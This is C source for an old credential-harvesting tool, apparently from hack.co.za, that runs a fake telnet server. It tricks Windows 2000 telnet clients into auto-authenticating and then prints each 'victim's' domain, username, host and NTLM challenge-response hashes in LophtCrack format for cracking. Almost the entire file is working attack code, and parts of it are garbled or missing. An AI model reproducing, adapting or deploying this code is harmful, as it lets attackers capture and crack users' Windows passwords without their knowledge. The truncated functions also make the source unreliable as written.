/* NTLM telnetD v0.8 Snarfs NTLM challenge/response by convincing w2k telnet client to auto-authenticate. Outputs auth-data in LophtCrack sniff format on stdout. compile: gcc -o w2kteld ntlm_telnetd.c run: ./w2kteld Then wait for w2k to telnet to you. for the impatient, there are always ways of making w2k telnet! proof-of-concept version. more features to be added. by yeza (8/2000) */ #include #include #include #include #include #include #define LISTEN_PORT 23 #define LISTENADDR "0.0.0.0" #define VERBOSE 0 // 1 for verbose #define CHALLENGE "\xde\xad\xbe\xef\xde\xad\xbe\xef" #define MAXBUF 2048 /* Below are hardcoded telnet negotiation values. These are based on packet sniffs and as little decoding as possible. I'm lazy and this isnt really a telnet server so why muck with telnet.h? */ static unsigned char *srv_neg1 = "\xff\xfd\x25\xff\xfb\x01\xff\xfd\x03\xff\xfd\x1f\xff\xfd\x00\xff\xfb\x00"; static unsigned int srv_neg1_sz = 18; static unsigned char *srv_neg2 = "\xff\xfa\x25\x01\x0f\x00\xff\xf0"; static unsigned int srv_neg2_sz = 8; /* Below is the hardcoded NTLM challenge. Change the 8-byte challenge above if you dont like the smell of 'deadbeef' Change the hostname if desired -- but keep tabs on hostname len, telnet hdr size and 'srv_fake_NTLM_challenge_sz' if you do. */ static unsigned char *srv_fake_NTLM_challenge = "\xff\xfa\x25\x02\x0f\x00\x01" /* telnet auth head */ "\x38\x00\x00\x00" /* Size of challenge token */ "\x02\x00\x00\x00" /* L int = 2 ?unknown? */ "NTLMSSP\x00" /* Token header START TOKEN */ "\x02\x00\x00\x00" /* NTLM sequence = 2 */ "\x08\x00\x08\x00" /* hostname len (twice) */ "\x30\x00\x00\x00" /* hostname offset */ "\x05\x82\x02\x00" /* 4-byte flags */ CHALLENGE /* 8-byte challenge */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* unused */ "\x00\x00\x00\x00" /* unused len */ "\x38\x00\x00\x00" /* unused offset */ "D\x00O\x00I\x00T\x00" /* hostname "DOIT"(u-code) END TOKEN */ "\xff\xf0" /* telnet auth tail */ ; static unsigned int srv_fake_NTLM_challenge_sz = 73; int printhexdump (unsigned char *buf, int len) { int i; for(i=0; i < len; i++) { fprintf (stderr, "%02x ", buf[i]); } fprintf (stderr, "\n"); return (i); } void cphex (unsigned char *dest, unsigned char *src, unsigned int dlen) { int i; for (i=0; i < dlen; i+=2) { snprintf ((char *)(dest+i), 3,"%02x", src[(i/2)]); } } void dropconn (int sock) { close(sock); fprintf(stderr, "\nConnection Closed\n"); } /* Structure to hold snarfed auth. information */ struct client_info { unsigned char user[128]; unsigned char dom[128]; unsigned char host[128]; unsigned char ipaddr[16]; unsigned char chal[17]; unsigned char lmh[49]; unsigned char nth[49]; } cli_info; /* NTLM TOKEN HEADERS */ /* Request token header structure */ /* 32 bytes for this header */ struct reqtoken { unsigned char protocol[8]; // "NTLMSSP\0" unsigned int type; // 1 unsigned char flags[4]; // NTLM flags unsigned short dlen,dlen2; // Domain length unsigned int dpos; // Domain position unsigned short hlen,hlen2; // Hostname length unsigned int hpos; // Hostname position // unicode domain (variable length) // unicode hostname (variable length) }; /* Challenge token header structure */ /* 48 bytes for this header */ struct chaltoken { unsigned char protocol[8]; // "NTLMSSP\0" unsigned int type; // 2 unsigned short hlen,hlen2; // Hostname length unsigned int hpos; // Hostname position unsigned char flags[4]; // NTLM flags unsigned char chal[8]; // 8-byte NTLM Challenge unsigned short nl,nl2; // unused length unsigned int np; // unused position unsigned short tl,tl2; // unknown, possibly unused unsigned int tlen; // Total length of token. // unicode hostname (variable length) // unused string... does appear to be used by w2k telnetd }; /* Response token header structure */ /* 64 bytes for this header */ struct resptoken { unsigned char protocol[8]; // "NTLMSSP\0" unsigned int type; // 3 unsigned short lmrlen,lmrlen2; // LM hash response length (24 always) unsigned int lmrpos; // LM hash response position unsigned short ntrlen,ntrlen2; // NT hash response length (24 always) unsigned int ntrpos; // NT hash response position unsigned short dlen,dlen2; // Domain length unsigned int dpos; // Domain position unsigned short ulen,ulen2; // Username length unsigned int upos; // Username position unsigned short hlen,hlen2; // Hostname length unsigned int hpos; // Hostname position unsigned short tl,tl2; // unknown, presumably unused unsigned int tlen; // Total length of token unsigned char flags[4]; // NTLM flags // unicode domain (variable length) // unicode user (variable length) // unicode hostname (variable length) // lm hash response (24-bytes) // nt hash response (24-bytes) }; /* Stupid little Unicode helper */ int lame_ucode(unsigned char *dst, unsigned char *src, int len) { int i; for(i=0;iupos, rp->ulen, sizeof(cli_info.user)); lame_deucode(cli_info.host, (unsigned char *) rp+rp->hpos, rp->hlen, sizeof(cli_info.host)); lame_deucode(cli_info.dom, (unsigned char *) rp+rp->dpos, rp->dlen, sizeof(cli_info.dom)); cphex(cli_info.lmh, (unsigned char*) rp+rp->lmrpos, 48); cphex(cli_info.nth, (unsigned char*) rp+rp->ntrpos, 48); } /* gettoken Check 'len' bytes from 'src' as an NTLM token fork get_resptoken depending on type. Returns 0 if everything looks good. */ int gettoken (unsigned char *src, unsigned int len) { struct chaltoken *srctk = (struct chaltoken *) src; unsigned int type = *(src+8); /* check protocol */ if ((strncmp(src, "NTLMSSP\0", 8)) || (type > 3)) return (-1); if(type == 1) { fprintf(stderr, "Got NTLM request token\n"); return(0); } else if(type == 3) { if(len > (sizeof(struct resptoken)) + 48) { fprintf(stderr, "Got NTLM response token\n"); get_resptoken(src,len); } else { return(-1); } } else { fprintf(stderr, "Type 2 not handled\n"); return(-1); } return(0); } void usage(unsigned char *progname) { fprintf(stderr, "Usage: %s [options]\n", progname); fprintf(stderr, " -v verbose\n" " -l port listen on 'port'\n" " -h help\n"); exit(1); } int main(int argc, char **argv) { struct sockaddr_in server, client; unsigned int lsock, o; unsigned int port = LISTEN_PORT; unsigned int verbose = VERBOSE; ssize_t rlen, ctklen; unsigned char rbuf[MAXBUF]; unsigned char ntlm_challenge[8] = CHALLENGE; cphex(cli_info.chal, ntlm_challenge, 16); fprintf(stderr,"[ Fake NTLM Telnet Daemon - by yeza ]\n"); while ((o = getopt(argc, argv, "vl:h")) != -1) { switch(o) { case 'v': ++verbose; break; case 'l': if(optarg) { port = atoi(optarg); break; } else { usage(argv[0]); } case 'h': usage(argv[0]); } } lsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (lsock < 0) { fprintf(stderr, "Cannot create listening socket: %m\n"); exit(1); } server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr(LISTENADDR); server.sin_port = htons(port); if (bind(lsock, (struct sockaddr *) &server, sizeof(server)) < 0) { fprintf(stderr, "Cannot bind socket: %m\n"); close(lsock); exit(1); } listen(lsock, 200); fprintf(stderr, "Listening on port %d\n", ntohs(server.sin_port)); fprintf(stderr, "Awaiting connections\n\n"); while (1) { int csock, cl_addrlen; unsigned int reqlen, resplen; if((csock = accept(lsock, 0, 0)) < 0) { fprintf(stderr, "Cannot accept socket: %m\n"); continue; } cl_addrlen = sizeof(client); if(getpeername(csock, &client, &cl_addrlen) < 0) { fprintf(stderr, "Cannot get peer name of remote host: %m\n"); dropconn(csock); continue; } fprintf(stderr, "Connection from: %s\n", (char *) inet_ntoa(client.sin_addr.s_addr)); strncpy(cli_info.ipaddr,(char *)inet_ntoa(client.sin_addr.s_addr), 15); /* ============ This begins our telnet auth handshake ===============*/ /* server sends: (srv_neg1) DO AUTHENTICATION, WILL ECHO, DO SUPPRESS GO AHEAD, DO NAWS, DO BINARY, WILL BINARY */ send(csock, (char *) srv_neg1, srv_neg1_sz, 0); /* client sends back: WILL AUTHENTICATION */ rlen = recv(csock, (char *) rbuf, MAXBUF, 0); if(verbose>0){ fprintf(stderr, "\n%d byte response to neg1 =\n", rlen ); printhexdump(rbuf, rlen); } if(strncmp(rbuf, "\xff\xfb\x25", 3) != 0) { //just check first 3 bytes fprintf(stderr, "Wrong telnet neg1 response from client\n"); dropconn(csock); continue; } memset(rbuf, '\0', MAXBUF);rlen=0; /* server sends: (srv_neg2) SB AUTHENTICATION SEND ... SE */ send(csock, (char *) srv_neg2, srv_neg2_sz, 0); rlen = recv(csock, (char *) rbuf, MAXBUF, 0); if(verbose>0) { fprintf(stderr, "\n%d byte response to neg2 =\n", rlen ); printhexdump(rbuf, rlen); } if(strncmp(rbuf, "\xff\xfd", 2) != 0) { fprintf(stderr, "Wrong telnet neg2 response from client\n"); dropconn(csock); continue; } memset(rbuf, '\0', MAXBUF); rlen=0; /* Receive what should be the NTLM Request Token */ rlen = recv(csock, (char *) rbuf, MAXBUF, 0); if(verbose>0) { fprintf(stderr, "\nReceived %d byte request token =\n", rlen ); printhexdump(rbuf, rlen); } if(gettoken( rbuf+15, *(rbuf+7)) != 0) { fprintf(stderr, "Doesnt look like a NTLM request token.\n"); dropconn(csock); continue; } memset(rbuf, '\0', MAXBUF);rlen=0; /* Send NTLM Challenge Token */ fprintf (stderr, "Sending NTLM challenge token\n"); if(verbose>0) { printhexdump(srv_fake_NTLM_challenge, srv_fake_NTLM_challenge_sz); } send(csock, (char *) srv_fake_NTLM_challenge, srv_fake_NTLM_challenge_sz, 0); /* Receive what should be the NTLM Response Token */ rlen = recv(csock, (char *) rbuf, MAXBUF, 0); if(verbose>0) { fprintf(stderr, "\n%d byte response to challenge=\n", rlen ); printhexdump(rbuf, rlen); fprintf(stderr, "\n"); } if(gettoken(rbuf+15, *(rbuf+7)) != 0) { fprintf(stderr, "Doesnt look like a NTLM request token.\n"); dropconn(csock); continue; } memset(rbuf, '\0', MAXBUF);rlen=0; /* Were done with this victim */ dropconn(csock); fprintf(stdout, "%s\\%s@%s/%s:3:%s:%s:%s\n", cli_info.dom, cli_info.user, cli_info.ipaddr, cli_info.host, cli_info.chal, cli_info.lmh, cli_info.nth); fflush(stdout); } close(lsock); return(0); } /* www.hack.co.za [20 September 2000]*/